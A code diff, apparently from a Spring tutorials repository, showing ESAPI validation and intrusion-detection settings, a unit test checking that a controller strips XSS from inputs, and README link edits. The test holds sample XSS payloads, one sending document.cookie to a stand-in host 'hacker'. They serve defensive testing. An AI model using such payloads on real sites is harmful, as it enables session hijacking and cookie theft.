+# CHECKME: Shouldn't there be something in the property name itself that designates
+#		   that these are for testing???
+IntrusionDetector.org.owasp.esapi.errors.IntegrityException.count=10
+IntrusionDetector.org.owasp.esapi.errors.IntegrityException.interval=5
+IntrusionDetector.org.owasp.esapi.errors.IntegrityException.actions=log,disable,logout
+
+# rapid validation errors indicate scans or attacks in progress
+# org.owasp.esapi.errors.ValidationException.count=10
+# org.owasp.esapi.errors.ValidationException.interval=10
+# org.owasp.esapi.errors.ValidationException.actions=log,logout
+
+# sessions jumping between hosts indicates session hijacking
+IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.count=2
+IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.interval=10
+IntrusionDetector.org.owasp.esapi.errors.AuthenticationHostException.actions=log,logout
+
+
+#===========================================================================
+# ESAPI Validation
+#
+# The ESAPI Validator works on regular expressions with defined names. You can define names
+# either here, or you may define application specific patterns in a separate file defined below.
+# This allows enterprises to specify both organizational standards as well as application specific
+# validation rules.
+#
+# Use '\p{L}' (without the quotes) within the character class to match
+# any Unicode LETTER. You can also use a range, like:  \u00C0-\u017F
+# You can also use any of the regex flags as documented at
+# https://docs.oracle.com/javase/tutorial/essential/regex/pattern.html, e.g. (?u)
+#
+Validator.ConfigurationFile=validation.properties
+
+# Validators used by ESAPI
+Validator.AccountName=^[a-zA-Z0-9]{3,20}$
+Validator.SystemCommand=^[a-zA-Z\\-\\/]{1,64}$
+Validator.RoleName=^[a-z]{1,20}$
+
+#the word TEST below should be changed to your application
+#name - only relative URL's are supported
+Validator.Redirect=^\\/test.*$
+
+# Global HTTP Validation Rules
+# Values with Base64 encoded data (e.g. encrypted state) will need at least [a-zA-Z0-9\/+=]
+Validator.HTTPScheme=^(http|https)$
+Validator.HTTPServerName=^[a-zA-Z0-9_.\\-]*$
+Validator.HTTPCookieName=^[a-zA-Z0-9\\-_]{1,32}$
+Validator.HTTPCookieValue=^[a-zA-Z0-9\\-\\/+=_ ]*$
+# Note that headerName and Value length is also configured in the HTTPUtilities section
+Validator.HTTPHeaderName=^[a-zA-Z0-9\\-_]{1,256}$
+Validator.HTTPHeaderValue=^[a-zA-Z0-9()\\-=\\*\\.\\?;,+\\/:&_ ]*$
+Validator.HTTPServletPath=^[a-zA-Z0-9.\\-\\/_]*$
+Validator.HTTPPath=^[a-zA-Z0-9.\\-_]*$
+Validator.HTTPURL=^.*$
+Validator.HTTPJSESSIONID=^[A-Z0-9]{10,32}$
+
+
+# Contributed by Fraenku@gmx.ch
+# Github Issue 126 https://github.com/ESAPI/esapi-java-legacy/issues/126
+Validator.HTTPParameterName=^[a-zA-Z0-9_\\-]{1,32}$
+Validator.HTTPParameterValue=^[\\p{L}\\p{N}.\\-/+=_ !$*?@]{0,1000}$
+Validator.HTTPContextPath=^/[a-zA-Z0-9.\\-_]*$
+Validator.HTTPQueryString=^([a-zA-Z0-9_\\-]{1,32}=[\\p{L}\\p{N}.\\-/+=_ !$*?@%]*&?)*$
+Validator.HTTPURI=^/([a-zA-Z0-9.\\-_]*/?)*$
+
+
+# Validation of file related input
+Validator.FileName=^[a-zA-Z0-9!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$
+Validator.DirectoryName=^[a-zA-Z0-9:/\\\\!@#$%^&{}\\[\\]()_+\\-=,.~'` ]{1,255}$
+
+# Validation of dates. Controls whether or not 'lenient' dates are accepted.
+# See DataFormat.setLenient(boolean flag) for further details.
+Validator.AcceptLenientDates=false
+
+#                       ~~~~~ Important Note ~~~~~
+# This is a workaround to make sure that a commit to address GitHub issue #509
+# doesn't accidentally break someone's production code. So essentially what we
+# are doing is to reverting back to the previous possibly buggy (by
+# documentation intent at least), but, by now, expected legacy behavior.
+# Prior to the code changes for issue #509, if invalid / malicious HTML input was
+# observed, AntiSamy would simply attempt to sanitize (cleanse) it and it would
+# only be logged. However, the code change made ESAPI comply with its
+# documentation, which stated that a ValidationException should be thrown in
+# such cases. Unfortunately, changing this behavior--especially when no one is
+# 100% certain that the documentation was correct--could break existing code
+# using ESAPI so after a lot of debate, issue #521 was created to restore the
+# previous behavior, but still allow the documented behavior. (We did this
+# because it wasn't really causing an security issues since AntiSamy would clean
+# it up anyway and we value backward compatibility as long as it doesn't clearly
+# present security vulnerabilities.)
+# More defaults about this are written up under GitHub issue #521 and
+# the pull request it references. Future major releases of ESAPI (e.g., ESAPI 3.x)
+# will not support this previous behavior, but it will remain for ESAPI 2.x.
+# Set this to 'throw' if you want the originally intended behavior of throwing
+# that was fixed via issue #509. Set to 'clean' if you want want the HTML input
+# sanitized instead.
+#
+# Possible values:
+#   clean -- Use the legacy behavior where unsafe HTML input is logged and the
+#            sanitized (i.e., clean) input as determined by AntiSamy and your
+#            AntiSamy rules is returned. This is the default behavior if this
+#            new property is not found.
+#   throw -- The new, presumably correct and originally intended behavior where
+#            a ValidationException is thrown when unsafe HTML input is
+#            encountered.
+#
+#Validator.HtmlValidationAction=clean
+Validator.HtmlValidationAction=throw
+
+# With the fix for #310 to enable loading antisamy-esapi.xml from the classpath
+# also an enhancement was made to be able to use a different filename for the configuration.
+# You don't have to configure the filename here, but in that case the code will keep looking for antisamy-esapi.xml.
+# This is the default behaviour of ESAPI.
+#
+#Validator.HtmlValidationConfigurationFile=antisamy-esapi.xml

spring-security-modules/spring-5-security/src/test/java/com/baeldung/xss/PersonControllerUnitTest.java

@@ -0,0 +1,64 @@
+package com.baeldung.xss;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.JsonNodeFactory;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+import org.junit.jupiter.api.Test;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.boot.web.server.LocalServerPort;
+import org.springframework.http.*;
+import org.springframework.web.client.RestTemplate;
+import org.springframework.web.util.UriComponentsBuilder;
+import java.io.IOException;
+import static org.assertj.core.api.Assertions.assertThat;
+
+@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
+class PersonControllerUnitTest {
+
+    @LocalServerPort
+    int randomServerPort;
+
+    @Test
+    public void givenRequestIsSuspicious_whenRequestIsPost_thenResponseIsClean()
+        throws IOException {
+        // given
+        String createPersonUrl;
+        RestTemplate restTemplate;
+        HttpHeaders headers;
+        UriComponentsBuilder builder;
+        ObjectMapper objectMapper = new ObjectMapper();
+        ObjectNode personJsonObject = JsonNodeFactory.instance.objectNode();
+        createPersonUrl = "http://localhost:" + randomServerPort + "/personService/person";
+        restTemplate = new RestTemplate();
+        headers = new HttpHeaders();
+
+        // when
+        personJsonObject.put("id", 1);
+        personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>");
+        personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>");
+
+        builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl)
+            .queryParam("param", "<script>");
+
+        headers.setContentType(MediaType.APPLICATION_JSON);
+        headers.add("header_1", "<body onload=alert('XSS')>");
+        headers.add("header_2", "<span onmousemove='doBadXss()'>");
+        headers.add("header_3", "<SCRIPT>var+img=new+Image();img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>");
+        headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'");
+        HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers);
+
+        ResponseEntity<String> personResultAsJsonStr = restTemplate.exchange(builder.toUriString(),
+            HttpMethod.POST, request, String.class);
+        JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody());
+
+        // then
+        assertThat(root.get("firstName").textValue()).isEqualTo("baeldung ");
+        assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!");
+        assertThat(root.get("param").textValue()).isEmpty();
+        assertThat(root.get("header_1").textValue()).isEmpty();
+        assertThat(root.get("header_2").textValue()).isEmpty();
+        assertThat(root.get("header_3").textValue()).isEmpty();
+        assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");
+    }
+}

spring-security-modules/spring-session/spring-session-jdbc/README.md

@@ -3,5 +3,3 @@
 This module contains articles about Spring Session with JDBC.
 
 ### Relevant Articles: 
-
-- [Spring Session with JDBC](https://www.baeldung.com/spring-session-jdbc)

spring-web-modules/spring-mvc-basics-4/README.md

@@ -5,7 +5,7 @@ The "REST With Spring" Classes: https://bit.ly/restwithspring
 
 ### Relevant Articles: 
 - [Quick Guide to Spring Controllers](https://www.baeldung.com/spring-controllers)
-- [Model, ModelMap, and ModelView in Spring MVC](https://www.baeldung.com/spring-mvc-model-model-map-model-view)
+- [Model, ModelMap, and ModelAndView in Spring MVC](https://www.baeldung.com/spring-mvc-model-model-map-model-view)
 - [Spring Web Contexts](https://www.baeldung.com/spring-web-contexts)
 - [Spring Optional Path variables](https://www.baeldung.com/spring-optional-path-variables)
 - [JSON Parameters with Spring MVC](https://www.baeldung.com/spring-mvc-send-json-parameters)

spring-web-modules/spring-mvc-forms-jsp/README.md

@@ -7,3 +7,4 @@ This module contains articles about Spring MVC Forms using JSP
 - [Getting Started with Forms in Spring MVC](https://www.baeldung.com/spring-mvc-form-tutorial)
 - [Form Validation with AngularJS and Spring MVC](https://www.baeldung.com/validation-angularjs-spring-mvc)
 - [A Guide to the JSTL Library](https://www.baeldung.com/jstl)
+- [Multiple Submit Buttons on a Form](https://www.baeldung.com/spring-form-multiple-submit-buttons)